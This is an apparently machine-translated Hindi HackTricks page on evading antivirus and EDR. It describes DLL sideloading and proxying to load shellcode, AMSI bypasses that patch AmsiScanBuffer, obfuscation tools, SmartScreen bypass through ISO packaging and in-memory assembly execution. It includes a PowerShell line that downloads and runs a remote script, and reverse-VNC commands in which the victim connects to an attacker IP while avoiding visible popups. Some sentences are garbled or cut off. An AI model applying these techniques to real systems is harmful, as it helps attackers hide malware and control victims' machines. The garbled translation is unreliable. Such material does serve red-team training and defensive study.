* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **ट्विटर** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
वर्तमान में, AVs एक फ़ाइल को जांचने के लिए विभिन्न तकनीकों का उपयोग करते हैं, स्थायी पता लगाना, गतिशील विश्लेषण, और अधिक उन्नत EDRs के लिए आचरणात्मक विश्लेषण।
स्थायी पता लगाने के लिए, एक बाइनरी या स्क्रिप्ट में ज्ञात खतरनाक स्ट्रिंग या बाइट के सरगर्मियों को झंझट करके और फ़ाइल से जानकारी निकालकर (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि) प्राप्त करके प्राप्त किया जाता है। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको आसानी से पकड़ लिया जा सकता है, क्योंकि उन्हें संशोधित और खतरनाक माना जा सकता है। इस प्रकार की पता लगाने से बचने के लिए कुछ तरीके हैं:
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV को आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको कुछ तरह के लोडर की आवश्यकता होगी जो प्रोग्राम को डिक्रिप्ट करके और मेमोरी में चलाने के लिए होगा।
कभी-कभी आपको बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स को बदलने की जरूरत होती है ताकि यह AV को पार कर सके, लेकिन यह कार्य समय लेने वाला कार्य हो सकता है आपको ओब्स्क्यूरेट करने की कोशिश कर रहे हैं।
Windows Defender स्थायी पता लगाने के लिए एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह बुनियादी रूप से फ़ाइल को कई सेगमेंट में विभाजित करता है और फिर डिफ़ेंडर को प्रत
जब भी संभव हो, हमेशा **उपयोग करने के लिए DLLs को प्राथमिकता दें**, मेरे अनुभव के अनुसार, DLL फ़ाइलें आमतौर पर **कम डिटेक्ट की जाती हैं** और विश्लेषित की जाती हैं, इसलिए यह कुछ मामलों में पहचान से बचने के लिए एक बहुत ही सरल ट्रिक है (यदि आपके पेलोड को किसी तरह से DLL के रूप में चलाने का कोई तरीका है तो बेशक)।
<figure><imgsrc="../.gitbook/assets/image (6) (3) (1).png"alt=""><figcaption><p>antiscan.me में एक सामान्य Havoc EXE पेलोड बनाम एक सामान्य Havoc DLL का तुलनात्मक विश्लेषण</p></figcaption></figure>
**DLL साइडलोडिंग** उद्यमी द्वारा उपयोग की जाने वाली DLL खोज क्रम का लाभ उठाता है और पीड़ित एप्लिकेशन और घातक पेलोड (या पेलोड्स) को एक साथ रखकर उपयोग करता है।
आप [Siofra](https://github.com/Cybereason/siofra) और निम्नलिखित पावरशेल स्क्रिप्ट का उपयोग करके DLL साइडलोडिंग के प्रति संकटग्रस्त कार्यक्रम की जांच कर सकते हैं:
मैं आपको सलाह देता हूँ कि आप **DLL हाइजैक करने योग्य/साइडलोड करने योग्य प्रोग्रामों की खोज करें**, यह तकनीक सही ढंग से किया जाए तो बहुत छिपकली होती है, लेकिन यदि आप सार्वजनिक रूप से ज्ञात DLL साइडलोड करने योग्य प्रोग्रामों का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।
केवल एक खतरनाक DLL को एक प्रोग्राम की लोड करने की उम्मीद के नाम से रखने से, आपका पेलोड लोड नहीं होगा, क्योंकि प्रोग्राम की उम्मीद होती है कि उस DLL में कुछ विशिष्ट फ़ंक्शन होंगे, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सी/फ़ॉरवर्डिंग** कहा जाता है।
**DLL प्रॉक्सी** प्रोक्सी (और खतरनाक) DLL से प्रोग्राम द्वारा किए जाने वाले कॉल को मूल DLL को फ़ॉरवर्ड करता है, इस प्रकार प्रोग्राम की कार्यक्षमता को संरक्षित रखता है और आपके पेलोड के निष्पादन को संभाल सकता है।
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
मैं **ऊच्च अवधारणा** करता हूँ कि आप [S3cur3Th1sSh1t के twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading के बारे में देखें और इसके अलावा [ippsec के वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) को भी देखें ताकि हमारे बारे में और अधिक जानकारी प्राप्त करें।
`Freeze एक पेलोड टूलकिट है जिसका उपयोग EDRs को अनदेखा करने के लिए सस्पेंडेड प्रोसेस, डायरेक्ट सिसकॉल्स और वैकल्पिक निष्पादन विधियों का उपयोग करके किया जा सकता है।`
टालना बस एक बिल्ली और चूहे का खेल है, जो आज काम करता है वह कल पकड़ लिया जा सकता है, इसलिए कभी एक ही उपकरण पर निर्भर न करें, यदि संभव हो तो, कई टालने तकनीकों को जोड़ने का प्रयास करें।
AMSI को "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। पहले, AVs केवल **डिस्क पर फ़ाइलें** स्कैन करने के क्षमता रखते थे, इसलिए यदि आप किसी तरह से पेलोड **सीधे मेमोरी में** निष्पादित कर सकते थे, तो AV कुछ भी नहीं कर सकता था इसे रोकने के लिए, क्योंकि इसकी पर्याप्त दृश्यता नहीं थी।
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` चलाने पर Windows Defender पर निम्नलिखित चेतावनी प्रदर्शित होगी।
क्योंकि AMSI मुख्य रूप से स्थिर पकड़ों के साथ काम करता है, इसलिए आपके लोड करने की कोशिश की जाने वाली स्क्रिप्टों को संशोधित करना टालने के लिए एक अच्छा तरीका हो सकता है।
हालांकि, AMSI को यदि इसके पास कई स्तर हो तो भी स्क्रिप्टों को अनवरोधित करने की क्षमता होती है, इसलिए यह टालने के लिए एक बुरा विकल्प हो सकता है। यह इस पर निर्भर करता है कि कितनी चीजें ने टाला दिया गया है।
AMSI को पावरशेल (और cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया जाता है, इसलिए इसे आसानी से दुर्गम किया जा सकता है, यहां तक कि अनधिकृत उपयोगकर्ता के रूप में चलाने पर भी। AMSI के इस कमी के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से टालने के कई तरीके खोजे हैं।
AMSI प्रारंभीकरण को विफल करने (amsiInitFailed) के लिए मजबूर करने से वर्तमान प्रक्रिया के लिए कोई स्कैन प्रारंभ नहीं होगा। इसे पहले [मैट ग्रेबर](https://twitter.com/mattifestation) ने खुलासा किया था और माइक्रोसॉफ्ट ने इसका व्यापक उपयोग रोकने के लिए एक हस्ताक्षर विकसित किया है।
वर्तमान पावरशेल प्रक्रिया के लिए AMSI को अयोग्य बनाने के लिए एक पावरशेल कोड की एक पंक्ति ही काफी थी। यह पंक्ति बेशक AMSI द्वारा फ्लैग की गई है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता होती है।
यह तकनीक पहले से ही [@RastaMouse](https://twitter.com/\_RastaMouse/) द्वारा खोजी गई थी और इसमें amsi.dll में "AmsiScanBuffer" फ़ंक्शन के लिए पता लगाने और इसे E\_INVALIDARG कोड के लिए वापस लौटने के निर्देशों के साथ अधिलेखित करने का शामिल होता है (जो उपयोगकर्ता द्वारा प्रदान किए गए इनपुट की स्कैनिंग के लिए जिम्मेदार है), इस तरह, वास्तविक स्कैन का परिणाम 0 के रूप में लौटेगा, जो स्वच्छ परिणाम के रूप में व्याख्या की जाती है।
AMSI को पावरशेल के साथ बाइपास करने के लिए भी कई अन्य तकनीकें हैं, [**इस पेज**](basic-powershell-for-pentesters/#amsi-bypass) और [इस रेपो](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) की जांच करें और उनके बारे में और अधिक जानें।
इसमें कई उपकरण हैं जो इस्तेमाल किए जा सकते हैं ताकि C# स्पष्ट-पाठ को **अस्पष्ट किया जा सके**, **मेटाप्रोग्रामिंग टेम्पलेट** को कंपाइल बाइनरी बनाने के लिए या **कंपाइल बाइनरी को अस्पष्ट करने** के लिए जैसे:
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) कंपाइलेशन सुइट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड अस्पष्टीकरण](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) और टैम्पर-प्रूफिंग के माध्यम से वृद्धि स्थानक सुरक्षा प्रदान कर सके।
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator `C++11/14` भाषा का उपयोग करके कैसे करना है इसका उदाहरण देता है, कैसे कंपाइल समय पर बाहरी उपकरण का उपयोग किए बिना अस्पष्ट कोड उत्पन्न किया जाए।
* [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा उत्पन्न अस्पष्ट आपरेशन की एक परत जो अनुप्रयोग को क्रैक करने के इच्छुक व्यक्ति की जिंदगी को थोड़ा मुश्किल बना देगी।
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी अस्पष्टीकरणकर्ता है जो विभिन्न पीई फ़ाइलों को अस्पष्ट कर सकता है, जिनमें शामिल हैं: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame एक साधारित कार्यान्वयन के लिए एक सरल मेटामॉर्फिक कोड इंजन है।
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ROP (return-oriented programming) का उपयोग करके LLVM समर्थित भाषाओं के लिए एक फाइन-ग्रेन्ड कोड अस्पष्टीकरण फ्रेमवर्क है। ROPfuscator एक कार्यक्रम को एक्सेंबली कोड स्तर पर अस्पष्ट करता है, नियमित निर्देशों को ROP श्रृंखलाओं में बदलकर, सामान्य नियंत्रण प्रवाह की हमारी प्राकृतिक धारणा को विफल करता है।
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE Crypter है जो Nim में लिखा गया है
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शैलकोड में बदलने और उन्हें लोड करने में सक्षम है
स्मार्टस्क्रीन मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, अर्थात असामान्य डाउनलोड एप्लिकेशन स्मार्टस्क्रीन को ट्रिगर करेंगे और अंत उपयोगकर्ता को फ़ाइल को चलाने से रोकेंगे (हालांकि फ़ाइल को फिर से चलाने के लिए More Info -> Run anyway पर क्लिक करके फ़ाइल को चलाया जा सकता है)।
**MoTW** (Mark of The Web) एक [NTFS विकल्प डेटा स्ट्रीम](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) है जिसका नाम Zone.Identifier है और जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता ह
यहां [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) का उपयोग करके ISO फ़ाइलों में पेलोड को पैकेज करके SmartScreen को बाईपास करने के लिए एक डेमो है।
सी# बाइनरी को मेमोरी में लोड करना काफी समय से जाना जाता है और यह एंटीवायरस द्वारा पकड़े जाने के बिना अपने पोस्ट-एक्सप्लोइटेशन उपकरणों को चलाने का एक बहुत अच्छा तरीका है।
अधिकांश सी2 फ्रेमवर्क (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही मेमोरी में सी# असेंबली को सीधे निष्पादित करने की क्षमता प्रदान करते हैं, लेकिन इसे करने के विभिन्न तरीके हैं:
इसमें **एक नया बलिदानी प्रक्रिया उत्पन्न करना** शामिल होता है, नई प्रक्रिया में अपने पोस्ट-एक्सप्लोइटेशन दुष्प्रभावी कोड को इंजेक्ट करें, अपने दुष्प्रभावी कोड को निष्पादित करें और समाप्त होने पर नई प्रक्रिया को किल करें। इसके फायदे और नुकसान दोनों होते हैं। फोर्क और रन विधि का लाभ यह है कि निष्पादन हमारे बीकन इंप्लांट प्रक्रिया के **बाहर** होता है। इसका मतलब है कि अगर हमारे पोस्ट-एक्सप्लोइटेशन कार्रवाई में कुछ गलत हो जाता है या पकड़ा जाता है, तो हमारे इंप्लांट को **बचाने की बहुत अधिक संभावना** होती है। नुकसान यह है कि आपको **व्यवहारिक पकड़ों** द्वारा पकड़ा जाने का **अधिक अवसर** होता है।
इसका मतलब है कि पोस्ट-एक्सप्लोइटेशन दुष्प्रभावी कोड को **अपनी खुद की प्रक्रिया में इंजेक्ट** करना। इस तरीके से, आपको एक नई प्रक्रिया बनाने और इसे एंटीवायरस द्वारा स्कैन करवाने से बचने की आवश्यकता नहीं होगी, लेकिन नुकसान यह है कि अगर आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके बीकन को खोने की **बहुत अधिक संभावना** होती है क्योंकि यह क्रैश हो सकता है।
यदि आप C# असेंबली लोडिंग के बारे में और अधिक पढ़ना चाहते हैं, तो कृपया इस लेख [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनके InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) की जांच करें।
आप PowerShell से भी C# असेंबली लोड कर सकते हैं, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t के वीडियो](https://www.youtube.com/watch?v=oe11Q-3Akuk) की जांच करें।
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित रूप में, अन्य भाषाओं का उपयोग करके दुष्प्रभावी कोड को निष्पादित करना संभव है, जब आप कंप्रोमाइज़ हुए मशीन को हमलावर नियंत्रित SMB साझा के इंटरप्रेटर वातावरण तक पहुंच देते हैं।
रेपो इंडिकेट करता है: डिफेंडर अभी भी स्क्रिप्टों की स्कैनिंग करता है, लेकिन गो, जावा, PHP आदि का उपयोग करके हमें **स्थिर हस्ताक्षरों** को बाइपास करने के लिए **अधिक लचीलापन** होता है। इन भाषाओं में ये टेस्टिंग अनुप्रयोग उम्मीदवार साबित हुए हैं।
टालना एक बहुत कठिन विषय है, कभी-कभी आपको एक ही सिस्टम में कई विभिन्न टेलीमेट्री स्रोतों का ध्यान देना होता है, इसलिए पूरी तरह से अनुकरण नहीं कर पाना बहुत मुश्किल होता है।
इसे यहां से डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको सेटअप नहीं, बिन डाउनलोड करना है)
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` को **चलाना** चाहिए ताकि वह रिवर्स **VNC कनेक्शन** को पकड़ सके। फिर, **पीड़ित** के अंदर: winvnc डेमन `winvnc.exe -run` चलाएं और `winwnc.exe [-autoreconnect] -connect <हमलावर_आईपी>::5900` को चलाएं
* यदि `winvnc` पहले से चल रहा है तो इसे चालू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) को ट्रिगर कर देंगे। `tasklist | findstr winvnc` के साथ चेक करें कि क्या यह चल रहा है
*`UltraVNC.ini` के बिना `winvnc` न चलाएं या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) को खोल देगा
* मदद के लिए `winvnc -h` न चलाएं या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) को ट्रिगर कर देंगे
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.